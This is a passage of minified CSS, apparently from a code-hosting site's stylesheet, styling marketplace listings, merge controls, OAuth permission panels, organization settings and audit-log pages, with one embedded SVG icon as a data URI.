.map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group 